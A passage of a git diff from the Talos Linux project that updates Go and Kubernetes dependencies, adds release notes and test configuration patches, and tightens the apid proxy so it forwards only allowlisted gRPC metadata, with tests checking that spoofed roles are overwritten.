h1:i+cKTgeQRcRySkP7QTl5PDO7/pAm8EcMFIUMlNbk4Vc= -google.golang.org/api v0.284.0/go.mod h1:AU44fU+XVZOCcd8uLaBIa/ZgzgPf/0qqY3+m7lQaado= +google.golang.org/api v0.290.0 h1:eMw0Xo+IfbbMlKmW7aHvpyQRv9RCXuWx/vs8AD+0x9A= +google.golang.org/api v0.290.0/go.mod h1:weJZ3lldHFYI0DBFNKpJelUDNnusTt5YaOEgxvt8ci8= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo= -google.golang.org/genproto v0.0.0-20260406210006-6f92a3bedf2d h1:N1Ec54vZnIPd7MnxRiYLW+oY4fDR4BOS/LrssdD9+ek= -google.golang.org/genproto v0.0.0-20260406210006-6f92a3bedf2d/go.mod h1:c2hJ1grtnH0xUiEKGDGkjGNTJ1Hy2LrblyKOHF0sqRM= +google.golang.org/genproto v0.0.0-20260622175928-b703f567277d h1:CP5omUq8AJTiWMrPKM1WRLJ7zZeXd9OPcQD3TbBNAyY= +google.golang.org/genproto v0.0.0-20260622175928-b703f567277d/go.mod h1:DrwuGJgFSEVNpv3S5Q5VxhRTvdnjauw9GtvwVOEARfA= google.golang.org/genproto/googleapis/api v0.0.0-20260810153831-ec0a7760b754 h1:dWeMvEJ3JhYgqSCAHUZZJgMUyfniiiCvDc72x5EqJP0= google.golang.org/genproto/googleapis/api v0.0.0-20260810153831-ec0a7760b754/go.mod h1:q/3oV3jAi5vwelxsVAprMBC8BcM2zmNe+IjRGd+9/ks= google.golang.org/genproto/googleapis/rpc v0.0.0-20260810153831-ec0a7760b754 h1:k5CJw9e5ONCcA/u0webKt092npXuY+KeGh3Q8NAVf0g= @@ -1332,8 +1329,8 @@ google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyac google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= -google.golang.org/grpc v1.83.0 h1:JeNZEKJFbQxArAMl+hiytHauacDNqJUllNfmIMmpqnQ= -google.golang.org/grpc v1.83.0/go.mod h1:kDyl6SKsiHKt0uylY5gtn5cEjkrIOhQOGDgIc4JGwzQ= +google.golang.org/grpc v1.83.2 h1:EManeRomTObA0BU7I8vXgg/78uE5MJ9M8B39EX2WscU= +google.golang.org/grpc v1.83.2/go.mod h1:YPI1hK3kDked6iHvgX3tR0y+nX/qpMFKhPgFsokw1S8= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= @@ -1380,38 +1377,38 @@ gvisor.dev/gvisor v0.0.0-20250503011706-39ed1f5ac29c h1:m/r7OM+Y2Ty1sgBQ7Qb27VgI gvisor.dev/gvisor v0.0.0-20250503011706-39ed1f5ac29c/go.mod h1:3r5CMtNQMKIvBlrmM9xWUNamjKBYPOWyXOjmg5Kts3g= honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= -k8s.io/api v0.37.0-rc.1 h1:jYjhm39tyGiC0HzgWOmR5I6xpwnSTBhS4MtdSQr/rng= -k8s.io/api v0.37.0-rc.1/go.mod h1:BsuS88KV2wOU9SDCkS4oUgc5Ehu8JwZOMfDgXiAAvb8= -k8s.io/apiextensions-apiserver v0.37.0-rc.1 h1:YOhO1mIuUgV4f9n2XFYZJOkhjg9/6igC2Q5PEudtF4Q= -k8s.io/apiextensions-apiserver v0.37.0-rc.1/go.mod h1:K6pZXARvKQp2tmfoMeBsHJbUjv8A6Cb1a5Ww9xH7pEw= -k8s.io/apimachinery v0.37.0-rc.1 h1:u8QAPvWA0d5/jZqZ46idaytI4aTn06uGJ4mcsZ5bm4Y= -k8s.io/apimachinery v0.37.0-rc.1/go.mod h1:kKNGjylQSK4QAuBbyJqlGQJph/Q/PX/4s6ip/HMMVd8= -k8s.io/apiserver v0.37.0-rc.1 h1:TezU3puO7HK36Ysj2Oi/fZcdp7PIUiufebEhsZ+DgV8= -k8s.io/apiserver v0.37.0-rc.1/go.mod h1:6QXD13HjrQj7O2EnESZk+6Et2p6j8FkBNRoj2fVjPmM= -k8s.io/cli-runtime v0.37.0-rc.1 h1:/Xa3Ndi4U4SCyef17/Gq4r6foA5kJZJRHcBuim6jlmU= -k8s.io/cli-runtime v0.37.0-rc.1/go.mod h1:WCUfIp7Dvd3byZMWe/lAQLtY7nvAiZYiov8zbQem21s= -k8s.io/client-go v0.37.0-rc.1 h1:ZPQNFs2LaFf7M381JT2j6N3wPlaIV5hGZHTAlIQ3qBo= -k8s.io/client-go v0.37.0-rc.1/go.mod h1:kQTXlaJxDQCsicQVjUHxYH7KTv+C9ikEbQQxl4ouPv4= -k8s.io/component-base v0.37.0-rc.1 h1:U1qExv8G8G+PuJTc1pf4+f6MFDfzexzExEMsRT4oPdQ= -k8s.io/component-base v0.37.0-rc.1/go.mod h1:jdqHCZ7rT/OTYSpol3oaibSY7EIdcndlm5yyMScJZss= -k8s.io/cri-api v0.37.0-rc.1 h1:6SB7Sq+roStAmfo5izwLVcujrGtRE+0iK0fZAcBgp3o= -k8s.io/cri-api v0.37.0-rc.1/go.mod h1:6V8Gb6wznJYVPToj8CLxgbxsFeeGIswNZCE7cy+xT90= +k8s.io/api v0.37.0 h1:Z//Vj9N7RA/yS2sDmxyeo7h+RR4zbUrd2vrd3Z0TbB4= +k8s.io/api v0.37.0/go.mod h1:LKXgcJWMc+f4OLbP5SFR8rulEg07zZhpi/zMULiBImk= +k8s.io/apiextensions-apiserver v0.37.0 h1:zRMQ3+/LIE5oZ0tVvXwYHC+dIkSP5cjNWju7AZU1LOI= +k8s.io/apiextensions-apiserver v0.37.0/go.mod h1:HU0PfSBwchHL5iDau6jjt9zU6ryWkDDlaVUiq91NK80= +k8s.io/apimachinery v0.37.0 h1:Np2AbDtf8x6RDHiD8T9LbKJ9gaegeVNa8yNm5FuGKm0= +k8s.io/apimachinery v0.37.0/go.mod h1:RN3nhprFSCxOi5Selxd7oMTXOe/c+ZbcE7Im+TS2zkE= +k8s.io/apiserver v0.37.0 h1:TXg7OxsOWrAH8J4Zi/gBAZuMw1Dfdd+6cca2h4qjRqo= +k8s.io/apiserver v0.37.0/go.mod h1:OddHDF4gy9qyIb8o/3+qaeP6S0vEObWLgOygVqXksv0= +k8s.io/cli-runtime v0.37.0 h1:U3XakUeirBQJMz5688r04z74SIHSE7V5SIZ6Ho5JyBM= +k8s.io/cli-runtime v0.37.0/go.mod h1:qiQMFkKwFFuPH6zy953On+nc3qfpEHAIDrJmAuRz5Vg= +k8s.io/client-go v0.37.0 h1:nsN31fy8wBySuZ+QRnKmrjRSQLOG2rvoGN0tKd12zhQ= +k8s.io/client-go v0.37.0/go.mod h1:FcGqw+Ll/gNQiq+nPGY1Oyt9y7SgDh1d3MW3RFDEbn0= +k8s.io/component-base v0.37.0 h1:3SdSa4+itMdFTDFTeR8CxKGmSTSMXFlKL4ky8OqjguM= +k8s.io/component-base v0.37.0/go.mod h1:LjOebp4R9y6LODWZQv102ZQxGheLcDO2ZJLAw6bbh4I= +k8s.io/cri-api v0.37.0 h1:8a3Rpw5NNRivF+q8GO/ECK3BrWT06M4Er8ndzLvTF7k= +k8s.io/cri-api v0.37.0/go.mod h1:6V8Gb6wznJYVPToj8CLxgbxsFeeGIswNZCE7cy+xT90= k8s.io/klog/v2 v2.140.0 h1:Tf+J3AH7xnUzZyVVXhTgGhEKnFqye14aadWv7bzXdzc= k8s.io/klog/v2 v2.140.0/go.mod h1:o+/RWfJ6PwpnFn7OyAG3QnO47BFsymfEfrz6XyYSSp0= k8s.io/kube-openapi v0.0.0-20260721132016-d427ff9ee9ad h1:oXImqH8mQNk7PmvzKhmN3ddJoY6OnyM225MXwGHPm0A= k8s.io/kube-openapi v0.0.0-20260721132016-d427ff9ee9ad/go.mod h1:0/mqHCVhlumdJ3BhCfnjSZQE037nAhNodh1/hK0T8/I= -k8s.io/kube-proxy v0.37.0-rc.1 h1:OIUVvBEnNjID8R4Lf7jsgvI3zfp/OmBHrLlWhx+TSWY= -k8s.io/kube-proxy v0.37.0-rc.1/go.mod h1:ZolUOzG2eV7Q31ygPqLTFExcRF7QbxgTfVkvCQ6PCQc= -k8s.io/kube-scheduler v0.37.0-rc.1 h1:NzV+OHfaGJijn/EoPv6fRq9zn5/hXoezeVzPgPHpSno= -k8s.io/kube-scheduler v0.37.0-rc.1/go.mod h1:VE0zAjZXYaUegc7l8C3/RqF/nd0RCOnTWgsvjru6BCI= -k8s.io/kubectl v0.37.0-rc.1 h1:hbSO+wsGOJg1GCW1jOYEKjt6VEcMrd7YQg+csHaAC54= -k8s.io/kubectl v0.37.0-rc.1/go.mod h1:PTViyXbpUGUV41a8zzTO63hjz71VdI1R6eUt+btpsIc= -k8s.io/kubelet v0.37.0-rc.1 h1:COdpPO2zQya9acsbN0o3iw1RuPRNhYbQPbrxXM9kqbs= -k8s.io/kubelet v0.37.0-rc.1/go.mod h1:2V9G2uyzvThpYelW+kwmcoZQDXPZGGQhVq9ZXETew84= -k8s.io/pod-security-admission v0.37.0-rc.1 h1:/8X+V4DK2uLyPCF7fbTvkY81yqtdd8inXUML3j7E12s= -k8s.io/pod-security-admission v0.37.0-rc.1/go.mod h1:Crrm16QiuasePzd3FNo+sPtomEfaBAP6Kh2L/05h4pc= -k8s.io/streaming v0.37.0-rc.1 h1:4DfrVU78ir3dLFl2gaZofGp5O6YVkg/I0FNicq2hHhA= -k8s.io/streaming v0.37.0-rc.1/go.mod h1:APlJR26ZWRcVy5bIEj0QRrKUXROtBHPcxl2NT7EAzPU= +k8s.io/kube-proxy v0.37.0 h1:KvrYJJX3RY+BmZVbWjA4EByphxfr9jyBOnm989xNNtA= +k8s.io/kube-proxy v0.37.0/go.mod h1:XKt9orRIUAjuZVddE7OAs1tpK8pHypiUGtVBwVR6cPQ= +k8s.io/kube-scheduler v0.37.0 h1:vkEpk4CAxlNUdPHc53NHsiY/3fBYNgSgyAtiIkt7ieQ= +k8s.io/kube-scheduler v0.37.0/go.mod h1:CPdW3moznhYQ68iyzhblQuVX+VDB6PX2ch9SJ7v1gBI= +k8s.io/kubectl v0.37.0 h1:cici6hiofx93ASldmprDmZF55SfhVt4o3HniltVLjTc= +k8s.io/kubectl v0.37.0/go.mod h1:RSeEl8e/yqDx6srG8Azr0uAtVPNIZljA0PNh9HCBcdg= +k8s.io/kubelet v0.37.0 h1:VhaZanjlE5CkoAPAjKw0DH+Q0BYXVfYekZgzZDAJMMg= +k8s.io/kubelet v0.37.0/go.mod h1:PHXfQuVqsTzFVqOeP67UUNv5Ajri+dLGoeaEnW6gGjE= +k8s.io/pod-security-admission v0.37.0 h1:5lx9eMh47oWJy2EQDHJ82yoYj6/KiTomzzcpDS1be14= +k8s.io/pod-security-admission v0.37.0/go.mod h1:TaR1x79zQ3WBo2Avt49YiqJ55xwfak6KCdgVW30SHUc= +k8s.io/streaming v0.37.0 h1:iPBUZLZiKt5bV+lxJurASMOV07VuBhNpiwJt2//AWrM= +k8s.io/streaming v0.37.0/go.mod h1:APlJR26ZWRcVy5bIEj0QRrKUXROtBHPcxl2NT7EAzPU= k8s.io/utils v0.0.0-20260707023825-cf1189d6abe3 h1:jVkFFVfXdXP74B/zbO3hM3hpSFD0xvhQ5U686DPurkE= k8s.io/utils v0.0.0-20260707023825-cf1189d6abe3/go.mod h1:M2s5JB1lIYP3jzZdorPLHXIPJzt9vv2muW5a6L9DtNM= kernel.org/pub/linux/libs/security/libcap/cap v1.2.78 h1:jgqg4gyu2BaYW9L6uzEtGLf8GNREwk/z4UFdwt5F3pE= @@ -1440,5 +1437,5 @@ sigs.k8s.io/structured-merge-diff/v6 v6.4.2 h1:qdOxHwrl2Kaag1aQEarlYcOA9vSyGCp3C sigs.k8s.io/structured-merge-diff/v6 v6.4.2/go.mod h1:M3W8sfWvn2HhQDIbGWj3S099YozAsymCo/wrT5ohRUE= sigs.k8s.io/yaml v1.6.0 h1:G8fkbMSAFqgEFgh4b1wmtzDnioxFCUgTZhlbj5P9QYs= sigs.k8s.io/yaml v1.6.0/go.mod h1:796bPqUfzR/0jLAl6XjHl3Ck7MiyVv8dbTdyT3/pMf4= -software.sslmate.com/src/go-pkcs12 v0.4.0 h1:H2g08FrTvSFKUj+D309j1DPfk5APnIdAQAB8aEykJ5k= -software.sslmate.com/src/go-pkcs12 v0.4.0/go.mod h1:Qiz0EyvDRJjjxGyUQa2cCNZn/wMyzrRJ/qcDXOQazLI= +software.sslmate.com/src/go-pkcs12 v0.5.0 h1:EC6R394xgENTpZ4RltKydeDUjtlM5drOYIG9c6TVj2M= +software.sslmate.com/src/go-pkcs12 v0.5.0/go.mod h1:Qiz0EyvDRJjjxGyUQa2cCNZn/wMyzrRJ/qcDXOQazLI= diff --git a/hack/modules-amd64.txt b/hack/modules-amd64.txt index 06ef5cae43f..2dec8397fbf 100644 --- a/hack/modules-amd64.txt +++ b/hack/modules-amd64.txt @@ -99,6 +99,7 @@ kernel/drivers/hwmon/k10temp.ko kernel/drivers/hwmon/k8temp.ko kernel/drivers/hwmon/nct6683.ko kernel/drivers/hwmon/nct6775.ko +kernel/drivers/hwmon/spd5118.ko kernel/drivers/i2c/algos/i2c-algo-bit.ko kernel/drivers/i2c/busses/i2c-i801.ko kernel/drivers/i2c/i2c-smbus.ko diff --git a/hack/modules-arm64.txt b/hack/modules-arm64.txt index 17458ab5c51..1cae2f1453d 100644 --- a/hack/modules-arm64.txt +++ b/hack/modules-arm64.txt @@ -66,6 +66,7 @@ kernel/drivers/hv/hv_utils.ko kernel/drivers/hwmon/acpi_power_meter.ko kernel/drivers/hwmon/drivetemp.ko kernel/drivers/hwmon/i5k_amb.ko +kernel/drivers/hwmon/spd5118.ko kernel/drivers/i2c/algos/i2c-algo-bit.ko kernel/drivers/i2c/busses/i2c-i801.ko kernel/drivers/i2c/i2c-mux.ko diff --git a/hack/release.toml b/hack/release.toml index 18df2ef8ed8..36cf8b44dfd 100644 --- a/hack/release.toml +++ b/hack/release.toml @@ -9,7 +9,7 @@ ignore_deps = ["github.com/coredns/coredns"] # previous release previous = "v1.13.0" -pre_release = true +pre_release = false preface = """ """ @@ -18,8 +18,8 @@ preface = """ [notes.updates] title = "Component Updates" description = """\ -Linux: 6.18.46 -Kubernetes: 1.37.0-rc.1 +Linux: 6.18.48 +Kubernetes: 1.37.0 containerd: 2.3.4 etcd: 3.7.1 Flannel: 0.28.9 @@ -585,6 +585,60 @@ Secure Boot images no longer have `lockdown=confidentiality` enabled by default. This change was made to improve compatibility with eBPF tooling under default schematic. This means that Secure Boot images will now have `lockdown=integrity` enabled by default (implicitly), which is the recommended setting for most users. Users can override it by adding `lockdown=confidentiality` to the kernel command line through Image Factory if they require it. +""" + + [notes.extension_service_configuration] + title = "Extension Service Configuration" + description = """\ +`ExtensionServiceConfig` is supported only for extension services whose service manifest explicitly declares a configuration dependency: + +```yaml +depends: + - configuration: true +``` + +Using `ExtensionServiceConfig` with a service that does not declare this dependency is unsupported and has undefined startup behavior. +The service might start before its configuration is rendered, leaving config files or environment variables unavailable until a later service restart. +Extension authors must declare the dependency before documenting `ExtensionServiceConfig` support. +""" + + [notes.multipath_configuration] + title = "Multipath Configuration" + description = """\ +The `multipath-tools` system extension now reads `/etc/multipath.conf` from the Talos host instead of using `ExtensionServiceConfig`. +The `multipathd` service waits for this file and bind-mounts it read-only into its service container. + +Before updating the extension, apply a machine config patch that deletes the existing `ExtensionServiceConfig` document and adds an `EtcFileConfig` document: + +```yaml +apiVersion: v1alpha1 +kind: ExtensionServiceConfig +name: multipathd +$patch: delete +--- +apiVersion: v1alpha1 +kind: EtcFileConfig +name: multipath.conf +mode: 0o644 +contents: | + defaults { + user_friendly_names yes + find_multipaths no + path_selector "round-robin 0" + } +``` + +The extension does not provide a default configuration, so `multipathd` remains waiting until `/etc/multipath.conf` is present. +""" + + [notes.containers_namespace] + title = "Unified --namespace Flag" + description = """\ +`talosctl containers`, `logs`, `stats` and `restart` now select the containerd namespace through the same `--namespace` flag and vocabulary already used by `talosctl image` and `talosctl debug`: `system` (the default), `cri` for Kubernetes workloads, and `taloscontainers` for containers declared via a `ContainerConfig` document. + +The `--kubernetes`/`-k` flag is deprecated in favor of `--namespace cri`. + +`talosctl image list` also supports `--namespace taloscontainers`, to inspect images pulled for `ContainerConfig` containers. `talosctl debug` does not support the `taloscontainers` namespace. """ [make_deps] diff --git a/hack/selinux/virtual_domain_context b/hack/selinux/virtual_domain_context new file mode 100644 index 00000000000..150f281d107 --- /dev/null +++ b/hack/selinux/virtual_domain_context @@ -0,0 +1,2 @@ +system_u:system_r:svirt_t:s0 +system_u:system_r:svirt_tcg_t:s0 diff --git a/hack/selinux/virtual_image_context b/hack/selinux/virtual_image_context new file mode 100644 index 00000000000..8ab1e27ea23 --- /dev/null +++ b/hack/selinux/virtual_image_context @@ -0,0 +1,2 @@ +system_u:object_r:svirt_image_t:s0 +system_u:object_r:virt_content_t:s0 diff --git a/hack/test/e2e.sh b/hack/test/e2e.sh index 0f4d8174bda..1066c82d065 100755 --- a/hack/test/e2e.sh +++ b/hack/test/e2e.sh @@ -33,7 +33,7 @@ export TALOS_VERSION # Kubernetes export KUBECONFIG="${TMP}/kubeconfig" -export KUBERNETES_VERSION=${KUBERNETES_VERSION:-1.37.0-rc.1} +export KUBERNETES_VERSION=${KUBERNETES_VERSION:-1.37.0} export NAME_PREFIX="talos-e2e-${SHA}-${PLATFORM}" export TIMEOUT=1200 diff --git a/hack/test/patches/extensions-libvirt.yaml b/hack/test/patches/extensions-libvirt.yaml new file mode 100644 index 00000000000..91c67d93319 --- /dev/null +++ b/hack/test/patches/extensions-libvirt.yaml @@ -0,0 +1,18 @@ +apiVersion: v1alpha1 +kind: EtcFileConfig +name: passwd +mode: 0o644 +contents: | + root:x:0:0:root:/root:/bin/sh + qemu:x:107:107:qemu:/var/lib/libvirt:/bin/false + nobody:x:65534:65534:nobody:/:/bin/false +--- +apiVersion: v1alpha1 +kind: EtcFileConfig +name: group +mode: 0o644 +contents: | + root:x:0: + kvm:x:36:qemu + qemu:x:107: + nobody:x:65534: diff --git a/hack/test/patches/netapp.yaml b/hack/test/patches/netapp.yaml index 5a8bca8c03a..53bb3a8b6fd 100644 --- a/hack/test/patches/netapp.yaml +++ b/hack/test/patches/netapp.yaml @@ -6,13 +6,12 @@ machine: - name: dm_round-robin --- apiVersion: v1alpha1 -kind: ExtensionServiceConfig -name: multipathd -configFiles: - - content: | - defaults { - user_friendly_names yes - find_multipaths no - path_selector "round-robin 0" - } - mountPath: /etc/multipath.conf +kind: EtcFileConfig +name: multipath.conf +mode: 0o644 +contents: | + defaults { + user_friendly_names yes + find_multipaths no + path_selector "round-robin 0" + } diff --git a/hack/test/patches/ntp-disabled.yaml b/hack/test/patches/ntp-disabled.yaml new file mode 100644 index 00000000000..7f6cfc51aa9 --- /dev/null +++ b/hack/test/patches/ntp-disabled.yaml @@ -0,0 +1,4 @@ +apiVersion: v1alpha1 +kind: TimeSyncConfig +enabled: false +bootTimeout: 5s diff --git a/internal/app/apid/pkg/backend/apid.go b/internal/app/apid/pkg/backend/apid.go index acd6cb52e7d..b76c24d144a 100644 --- a/internal/app/apid/pkg/backend/apid.go +++ b/internal/app/apid/pkg/backend/apid.go @@ -22,7 +22,7 @@ import ( "google.golang.org/grpc/status" "google.golang.org/protobuf/encoding/protowire" - "github.com/siderolabs/talos/pkg/grpc/middleware/authz" + proxybackend "github.com/siderolabs/talos/pkg/grpc/proxy/backend" "github.com/siderolabs/talos/pkg/machinery/api/common" "github.com/siderolabs/talos/pkg/machinery/constants" "github.com/siderolabs/talos/pkg/machinery/proto" @@ -68,21 +68,21 @@ func (a *APID) String() string { // GetConnection returns a grpc connection to the backend. func (a *APID) GetConnection(ctx context.Context, _ string) (context.Context, *grpc.ClientConn, error) { - md, _ := metadata.FromIncomingContext(ctx) - md = md.Copy() + md := proxybackend.OutgoingMetadata(ctx) - authz.SetMetadata(md, authz.GetRoles(ctx)) + // 'proxyfrom' tells the next apid instance that the request has already been routed, + // so it should not be routed any further. It is derived from the (caller-controlled) + // authority, but it is never inherited from the caller: the allowlist in + // OutgoingMetadata drops both ':authority' and 'proxyfrom', as it does the routing + // metadata ('node', 'nodes'). + incomingMD, _ := metadata.FromIncomingContext(ctx) - if authority := md[":authority"]; len(authority) > 0 { + if authority := incomingMD[":authority"]; len(authority) > 0 { md.Set("proxyfrom", authority...) } else { md.Set("proxyfrom", "unknown") } - delete(md, ":authority") - delete(md, "nodes") - delete(md, "node") - outCtx := metadata.NewOutgoingContext(ctx, md) a.mu.Lock() diff --git a/internal/app/apid/pkg/backend/apid_test.go b/internal/app/apid/pkg/backend/apid_test.go index eed29d65aa9..3bd5959621d 100644 --- a/internal/app/apid/pkg/backend/apid_test.go +++ b/internal/app/apid/pkg/backend/apid_test.go @@ -51,7 +51,9 @@ func (suite *APIDSuite) TestGetConnection() { md1 := metadata.New(nil) md1.Set(":authority", "127.0.0.2") md1.Set("nodes", "127.0.0.1") + md1.Set("runtime", "Talos") md1.Set("key", "value1", "value2") + md1.Set("talos-role", "os:admin") ctx1 := metadata.NewIncomingContext(authz.ContextWithRoles(context.Background(), role.MakeSet(role.Admin)), md1) outCtx1, conn1, err1 := suite.b.GetConnection(ctx1, "") @@ -61,9 +63,13 @@ func (suite *APIDSuite) TestGetConnection() { mdOut1, ok1 := metadata.FromOutgoingContext(outCtx1) suite.Require().True(ok1) - suite.Assert().Equal([]string{"value1", "value2"}, mdOut1.Get("key")) + suite.Assert().Equal([]string{"Talos"}, mdOut1.Get("runtime")) suite.Assert().Equal([]string{"127.0.0.2"}, mdOut1.Get("proxyfrom")) suite.Assert().Equal([]string{"os:admin"}, mdOut1.Get("talos-role")) + // not allowlisted for proxying + suite.Assert().Empty(mdOut1.Get("key")) + suite.Assert().Empty(mdOut1.Get("nodes")) + suite.Assert().Empty(mdOut1.Get(":authority")) suite.Run( "Same context", func() { @@ -75,9 +81,10 @@ func (suite *APIDSuite) TestGetConnection() { mdOut2, ok2 := metadata.FromOutgoingContext(outCtx2) suite.Require().True(ok2) - suite.Assert().Equal([]string{"value1", "value2"}, mdOut2.Get("key")) + suite.Assert().Equal([]string{"Talos"}, mdOut2.Get("runtime")) suite.Assert().Equal([]string{"127.0.0.2"}, mdOut2.Get("proxyfrom")) suite.Assert().Equal([]string{"os:admin"}, mdOut2.Get("talos-role")) + suite.Assert().Empty(mdOut2.Get("key")) }, ) @@ -86,7 +93,10 @@ func (suite *APIDSuite) TestGetConnection() { md3 := metadata.New(nil) md3.Set(":authority", "127.0.0.2") md3.Set("nodes", "127.0.0.1") + md3.Set("runtime", "Talos") md3.Set("key", "value3", "value4") + // a caller asserting a role it doesn't hold: the proxy must overwrite it + md3.Set("talos-role", "os:admin") ctx3 := metadata.NewIncomingContext( authz.ContextWithRoles(context.Background(), role.MakeSet(role.Reader)), md3, @@ -99,9 +109,10 @@ func (suite *APIDSuite) TestGetConnection() { mdOut3, ok3 := metadata.FromOutgoingContext(outCtx3) suite.Require().True(ok3) - suite.Assert().Equal([]string{"value3", "value4"}, mdOut3.Get("key")) + suite.Assert().Equal([]string{"Talos"}, mdOut3.Get("runtime")) suite.Assert().Equal([]string{"127.0.0.2"}, mdOut3.Get("proxyfrom")) suite.Assert().Equal([]string{"os:reader"}, mdOut3.Get("talos-role")) + suite.Assert().Empty(mdOut3.Get("key")) }, ) } diff --git a/internal/app/debug/hostns.go b/internal/app/debug/hostns.go index c7ee4d17cbc..6620faa6a7c 100644 --- a/internal/app/debug/hostns.go +++ b/internal/app/debug/hostns.go @@ -94,13 +94,10 @@ func runHostNsContainer( //nolint:gocyclo defer teardown() //nolint:errcheck - // 4. Seed /etc files the squashfs lower doesn't carry. - seedEtcFiles(merged) - - // 5. gRPC I/O streams. + // 4. gRPC I/O streams. grpcStreamer, stdinR, stdoutW := newGrpcStreamWriter(srv) - // 6. Command + args: with explicit args, args[0] is the executable (resolved + // 5. Command + args: with explicit args, args[0] is the executable (resolved // against PATH in launchInHostNs); otherwise default to the Nix bash. const defaultShell = "/nix/var/nix/profiles/default/bin/bash" @@ -117,11 +114,13 @@ func runHostNsContainer( //nolint:gocyclo cmdArgs = []string{defaultShell} } - // 7. Env: Nix profile on PATH (per-user profile first so nix-env installs win), - // plus caller-supplied overrides. + // 6. Env: Nix profile on PATH (per-user profile first so nix-env installs win), + // plus caller-supplied overrides. NIX_CONFIG carries settings that cannot be written + // under the live, read-only host /etc bind. env := []string{ "PATH=/root/.nix-profile/bin:/nix/var/nix/profiles/default/bin:/nix/var/nix/profiles/default/sbin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "NIX_SSL_CERT_FILE=/nix/var/nix/profiles/default/etc/ssl/certs/ca-bundle.crt", + "NIX_CONFIG=build-users-group =\nsandbox = false\nexperimental-features = nix-command flakes", "TERM=xterm-256color", "HOME=/root", } @@ -130,14 +129,14 @@ func runHostNsContainer( //nolint:gocyclo env = append(env, k+"="+v) } - // 8. Per-session cgroup dir as an fd: SysProcAttr.CgroupFD places the child into + // 7. Per-session cgroup dir as an fd: SysProcAttr.CgroupFD places the child into // the cgroup atomically at fork, avoiding a post-fork cgroup.procs write race. cgroupFd, err := os.Open(filepath.Join("/sys/fs/cgroup", cgroupPath)) if err != nil { return fmt.Errorf("host-ns: open cgroup dir %s: %w", cgroupPath, err) } - // 9. Control channel: carries signals and pty-resize events from the gRPC recv + // 8. Control channel: carries signals and pty-resize events from the gRPC recv // loop into the goroutine that owns the child. Buffered so recv never blocks. controlC := make(chan hostNsControl, 16) @@ -175,28 +174,6 @@ func runHostNsContainer( //nolint:gocyclo return streamErr } -// seedEtcFiles writes into the overlay's /etc the files the raw squashfs lower does -// not carry: the host's live resolv.conf (otherwise DNS is broken), and a nix.conf so -// the package manager works without the nixbld build-users group or a sandbox. -func seedEtcFiles(merged string) { - if hostResolv, readErr := os.ReadFile("/etc/resolv.conf"); readErr == nil && len(hostResolv) > 0 { - resolvDst := filepath.Join(merged, "etc", "resolv.conf") - - if mkErr := os.MkdirAll(filepath.Dir(resolvDst), 0o755); mkErr == nil { - os.WriteFile(resolvDst, hostResolv, 0o644) //nolint:errcheck - } - } - - nixConfDst := filepath.Join(merged, "etc", "nix", "nix.conf") - if mkErr := os.MkdirAll(filepath.Dir(nixConfDst), 0o755); mkErr == nil { - os.WriteFile(nixConfDst, []byte( //nolint:errcheck - "build-users-group =\n"+ - "sandbox = false\n"+ - "experimental-features = nix-command flakes\n", - ), 0o644) - } -} - // launchInHostNs execs the requested command chrooted into the prepared root (merged), // wiring stdio (or a pty) and placing the child in the debug cgroup. Mount setup lives // in package hostns; this only starts and supervises the child. diff --git a/internal/app/internal/ctrhelper/ctrhelper.go b/internal/app/internal/ctrhelper/ctrhelper.go index 78133657b4b..7400c706742 100644 --- a/internal/app/internal/ctrhelper/ctrhelper.go +++ b/internal/app/internal/ctrhelper/ctrhelper.go @@ -24,29 +24,14 @@ import ( // - detached (context.Background()) context with the appropriate containerd namespace // - containerd client func ContainerdInstanceHelper(ctx context.Context, req *common.ContainerdInstance) (context.Context, context.Context, *containerdapi.Client, error) { - var ( - containerdAddress string - containerdNamespace string - ) - - switch req.GetDriver() { - case common.ContainerDriver_CONTAINERD: - containerdAddress = constants.SystemContainerdAddress - case common.ContainerDriver_CRI: - containerdAddress = constants.CRIContainerdAddress - default: - return nil, nil, nil, status.Errorf(codes.InvalidArgument, "invalid containerd driver %s", req.GetDriver()) + containerdAddress, err := ContainerdInstanceAddress(req.GetDriver(), req.GetNamespace()) + if err != nil { + return nil, nil, nil, err } - switch req.GetNamespace() { - case common.ContainerdNamespace_NS_CRI: - containerdNamespace = constants.K8sContainerdNamespace - case common.ContainerdNamespace_NS_SYSTEM: - containerdNamespace = constants.SystemContainerdNamespace - case common.ContainerdNamespace_NS_UNKNOWN: - fallthrough - default: - return nil, nil, nil, status.Errorf(codes.InvalidArgument, "invalid containerd namespace %s", req.GetNamespace()) + containerdNamespace, err := ContainerdInstanceNamespace(req.GetNamespace()) + if err != nil { 